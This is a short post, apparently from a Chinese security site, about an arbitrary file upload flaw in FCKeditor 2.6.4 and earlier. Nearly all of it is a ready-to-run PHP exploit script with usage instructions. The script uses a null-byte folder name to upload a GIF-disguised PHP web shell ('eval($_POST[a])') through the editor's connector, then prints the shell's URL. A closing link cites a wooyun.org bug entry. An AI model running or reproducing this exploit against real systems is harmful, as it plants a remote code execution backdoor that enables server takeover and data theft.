fckeditor <= 2.6.4 任意文件上传漏洞

<?

error_reporting(0);set_time_limit(0);ini_set("default_socket_timeout", 5);define(STDIN, fopen("php://stdin", "r"));$match = array();function http_send($host, $packet){$sock = fsockopen($host, 80);while (!$sock){print "\n[-] No response from {$host}:80 Trying again...";$sock = fsockopen($host, 80);}fputs($sock, $packet);while (!feof($sock)) $resp .= fread($sock, 1024);fclose($sock);print $resp;return $resp;}function connector_response($html){global $match;return (preg_match("/OnUploadCompleted\((\d),\"(.*)\"\)/", $html, $match) && in_array($match[1], array(0, 201)));}print "\n+------------------------------------------------------------------+";print "\n| FCKEditor Servelet Arbitrary File Upload Exploit by Wolegequ |";print "\n+------------------------------------------------------------------+\n";if ($argc < 3){print "\nUsage......: php $argv[0] host path\n";print "\nExample....: php $argv[0] localhost /\n";print "\nExample....: php $argv[0] localhost /FCKEditor/\n";die();}$host = $argv[1];$path = ereg_replace("(/){2,}", "/", $argv[2]);$filename = "fvck.gif";$foldername = "fuck.php%00.gif";$connector = "editor/filemanager/connectors/php/connector.php";$payload = "-----------------------------265001916915724\r\n";$payload .= "Content-Disposition: form-data; name=\"NewFile\"; filename=\"{$filename}\"\r\n";$payload .= "Content-Type: image/jpeg\r\n\r\n";$payload .= 'GIF89a'."\r\n".'<?php eval($_POST[a]) ?>'."\n";$payload .= "-----------------------------265001916915724--\r\n";$packet = "POST {$path}{$connector}?Command=FileUpload&Type=Image&CurrentFolder=".$foldername." HTTP/1.0\r\n";//print $packet;$packet .= "Host: {$host}\r\n";$packet .= "Content-Type: multipart/form-data; boundary=---------------------------265001916915724\r\n";$packet .= "Content-Length: ".strlen($payload)."\r\n";$packet .= "Connection: close\r\n\r\n";$packet .= $payload;print $packet;if (!connector_response(http_send($host, $packet))) die("\n[-] Upload failed!\n");else print "\n[-] Job done! try http://${host}/$match[2] \n";?>http://www.wooyun.org/bugs/wooyun-2010-01684